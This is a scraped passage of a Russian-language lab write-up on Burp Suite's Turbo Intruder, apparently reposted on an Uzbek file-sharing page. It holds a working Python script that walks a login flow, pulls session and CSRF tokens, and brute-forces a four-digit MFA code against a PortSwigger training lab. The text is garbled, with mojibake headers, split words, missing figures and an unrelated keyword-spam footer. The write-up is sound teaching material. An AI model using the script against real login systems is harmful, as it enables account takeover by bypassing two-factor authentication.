Автоматизируем многоходовые атаки


Ñïîñîá 3. Èñïîëüçîâàíèå ïëàãèíà Turbo Intruder



Download 1,36 Mb.
Pdf ko'rish
bet6/7
Sana26.10.2022
Hajmi1,36 Mb.
#856562
1   2   3   4   5   6   7
Bog'liq
Шаг за шагом

Ñïîñîá 3. Èñïîëüçîâàíèå ïëàãèíà Turbo Intruder
Turbo Intruder — один из самых мощ ных инс тру мен тов Burp Suite, и его дол жен
осво ить каж дый ува жающий себя поль зователь Burp. Его так же мож но 
.
ска- 
чать с GitHub
Turbo Intruder пред став ляет собой рас ширение Burp Suite для отправ ки
боль шого количес тва зап росов HTTP и ана лиза резуль татов. Оно приз вано
допол нить Burp Intruder, обра баты вая ата ки, тре бующие исклю читель ной ско- 
рос ти, про дол житель нос ти или слож ности. Этот модуль отли чают сле дующие
осо бен ности.
Быс тро та: Turbo Intruder исполь зует стек HTTP, соз данный вруч ную с нуля
с уче том ско рос ти. В резуль тате на мно гих целях он может серь езно обог- 
нать даже мод ные асин хрон ные скрип ты на Go (на самом деле стек мож но
выб рать, и боль шинс тво из них будут тебе зна комы).

Мас шта биру емость: Turbo Intruder может дос тичь плос кого исполь зования
памяти, что поз воля ет про водить надеж ные мно год невные ата ки. Его так- 
же мож но запус кать в headless-окру жении через коман дную стро ку.

Гиб кость: ата ки кон фигури руют ся с помощью Python. Это поз воля ет
выпол нять слож ные тре бова ния, нап ример под писан ные зап росы и мно- 
гос тупен чатые пос ледова тель нос ти атак. Кро ме того, поль зователь ский
стек HTTP поз воля ет обра баты вать неп равиль но сфор мирован ные зап- 
росы, которые лома ют дру гие биб лиоте ки.

Удобс тво: скуч ные резуль таты могут быть авто мати чес ки отфиль тро ваны
с помощью усо вер шенс тво ван ного алго рит ма дифов, адап тирован ного
из Backslash Powered Scanner. Это озна чает, что ты можешь запус тить ата- 
ку и получить полез ные резуль таты в два кли ка.

Для исполь зования Turbo Intruder необ ходимо зна ние основ Python. Тем
не менее все, что нам нуж но для начала, — это уста новить Turbo Intruder
из модуля Extender.
Пос ле уста нов ки сра зу же перей дем к решению задачи.
1. Вы берем самый пер вый пакет в пос ледова тель нос ти во вклад ке Proxy
(пакет 
) и наж мем на него пра вой кноп кой мыши. А даль ше
выберем пункт Extensions 

Send to turbo intruder.
GET /login
2. В открыв шей ся панели Turbo Intruder появит ся зап рос и при меры скрип- 
тов, которые мож но выб рать для исполь зования и модифи кации. В дан ном
слу чае все, что нам нуж но для победы, — это написать скрипт, который
поз волит решить задание. Ниже я при веду свой при мер кода и объ ясню
логику скрип та (сде лай мне скид ку на качес тво, вспом нив о том, что пен- 
тесте ры не уме ют кодить):
import
re
import
time
# Регулярки для вытаскивания идентификаторов сессии и CSRF-токенов
re_csrf =
'name="csrf" value="([\w\d]+)"'
re_session =
'session=([\d\w]+)'
iterable =
0
def
queueRequests(target, wordlists):
global
engine
# Включаем один запрос на один коннект, чтобы не нарушать логику 
выполнения, коннекты в соответствии с тем, что выдержит приложение.
# Все эти значения придется калибровать от сервера к серверу. 
Сервер задачи не очень хорошо держит высокую нагрузку, поэтому 
ограничимся пятью параллельными соединениями
engine = RequestEngine(endpoint=
'https://
ac051f441e762a3780359cb6002300a2.web-security-academy.net:443'
,
concurrentConnections=
5
,requestsPerConnection=
1
)
# Запускаем первые запросы, которые спровоцируют запуск 
последующих запросов.
# Делаем задержку в одну секунду, чтобы потоки не исполнялись 
синхронно, а чередовались.
for
x in xrange(
1
,
6
):
print
'1. GET /login Request'
engine.queue(target.req,
''
)
time.sleep(
1
)
def
handleResponse(req, interesting):
global
engine
global
iterable
if
'Location: /my-account'
in req.response:
# Если мы в ответе получили данный заголовок, значит, мы 
победили
table.add(req)
print
'You Win!'
return
None
if
'Incorrect security code'
in req.response:
# Если мы получили в ответе сообщение о неправильно 
введенном коде, значит, мы использовали одну попытку, и тогда мы 
запускаем новую итерацию запросов
table.add(req)
print
'1. GET /login Request'
engine.queue(target.req,
''
)
return
None
if
'Please enter your 4-digit security code'
in req.response:
# Если в ответе мы получаем предложение ввести ОТР, то 
отправляем запрос с попыткой ввода ОТР
match_csrf = re.search(re_csrf, req.response)
match_session = re.search(re_session, req.getRequest())
req =
'''POST /login2 HTTP/1.1
\r\n
Host: 
ac051f441e762a3780359cb6002300a2.web-security-academy.net
\r\n
Cookie: 
session=%s
\r\n
Content-Type: application/x-www-form-urlencoded
\r\n
Content-Length: 51
\r\n\r\n
csrf=%s&mfa-code=%s'''
print
'4. POST /login2 Request'
engine.queue(req, [match_session.group(
1
),match_csrf.group(
1
)
,str(iterable).zfill(
4
)])
iterable +=
1
print
'Iterable: '
+ str(iterable)
return
None
if
'Location: /login2'
in req.response:
# Если в ответе мы получаем сообщение о переходе на 
страницу /login2, значит, мы ранее ввели корректные креды и теперь 
получаем новый идентификатор сессии и переходим на страницу для 
взятия CSRF для запроса с OTP
match_session = re.search(re_session, req.response)
req =
'''GET /login2 HTTP/1.1
\r\n
Host: 
ac051f441e762a3780359cb6002300a2.web-security-academy.net
\r\n
Cookie: 
session=%s
\r\n\r\n
'''
print
'3. GET /login2 Request'
engine.queue(req, match_session.group(
1
))
return
None
if
''
in req.
response:
# Если первый запрос был выполнен успешно, значит, мы 
получим страницу с предложением ввода логина и пароля, вводим логин 
и пароль
match_session = re.search(re_session, req.response)
match_csrf = re.search(re_csrf, req.response)
req =
'''POST /login HTTP/1.1
\r\n
Host: 
ac051f441e762a3780359cb6002300a2.web-security-academy.net
\r\n
Cookie: 
session=%s
\r\n
Content-Type: application/x-www-form-urlencoded
\r\n
Content-Length: 70
\r\n\r\n
csrf=%s&username=carlos&password=montoya'''
print
'2. POST /login Request'
engine.queue(req, [match_session.group(
1
),match_csrf.group(
1
)])
return
None
Так как в Turbo Intruder нет воз можнос ти удоб но под держи вать сес сию меж ду
зап росами, при ходит ся делать это руками, соз давая новые зап росы на осно- 
ве иден тифика торов сес сии, получен ных из пре дыду щих зап росов.
В пер вом приб лижении логика работы скрип та такова. Я запус каю пять
пер вичных зап росов, которые выпол няют ся в пяти парал лель ных соеди нени- 
ях. Далее ответ на каж дый зап рос обра баты вает ся. Обра бот чик отве тов ста- 
вит усло вие на то, что получил ожи даемый ответ, и даль ше выпол няет сле- 
дующий по логике зап рос. Нап ример, пос ле получе ния отве та с приг лашени- 
ем вво да пароля выпол няет ся зап рос вво да логина и пароля и так далее.
При помощи дан ного скрип та мне уда лось выпол нить 400 попыток
(~1500 зап росов) за 30 секунд и решить задание при мер но 
, чем в прош лых при мерах. Если быть чес тным, то мож но было пот ратить
чуть боль ше вре мени на калиб ровку парамет ров 
,
и 
и решить задачу еще быс трее, но мне
хва тило и это го.

Download 1,36 Mb.

Do'stlaringiz bilan baham:
1   2   3   4   5   6   7




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©hozir.org 2024
ma'muriyatiga murojaat qiling

kiriting | ro'yxatdan o'tish
    Bosh sahifa
юртда тантана
Боғда битган
Бугун юртда
Эшитганлар жилманглар
Эшитмадим деманглар
битган бодомлар
Yangiariq tumani
qitish marakazi
Raqamli texnologiyalar
ilishida muhokamadan
tasdiqqa tavsiya
tavsiya etilgan
iqtisodiyot kafedrasi
steiermarkischen landesregierung
asarlaringizni yuboring
o'zingizning asarlaringizni
Iltimos faqat
faqat o'zingizning
steierm rkischen
landesregierung fachabteilung
rkischen landesregierung
hamshira loyihasi
loyihasi mavsum
faolyatining oqibatlari
asosiy adabiyotlar
fakulteti ahborot
ahborot havfsizligi
havfsizligi kafedrasi
fanidan bo’yicha
fakulteti iqtisodiyot
boshqaruv fakulteti
chiqarishda boshqaruv
ishlab chiqarishda
iqtisodiyot fakultet
multiservis tarmoqlari
fanidan asosiy
Uzbek fanidan
mavzulari potok
asosidagi multiservis
'aliyyil a'ziym
billahil 'aliyyil
illaa billahil
quvvata illaa
falah' deganida
Kompyuter savodxonligi
bo’yicha mustaqil
'alal falah'
Hayya 'alal
'alas soloh
Hayya 'alas
mavsum boyicha


yuklab olish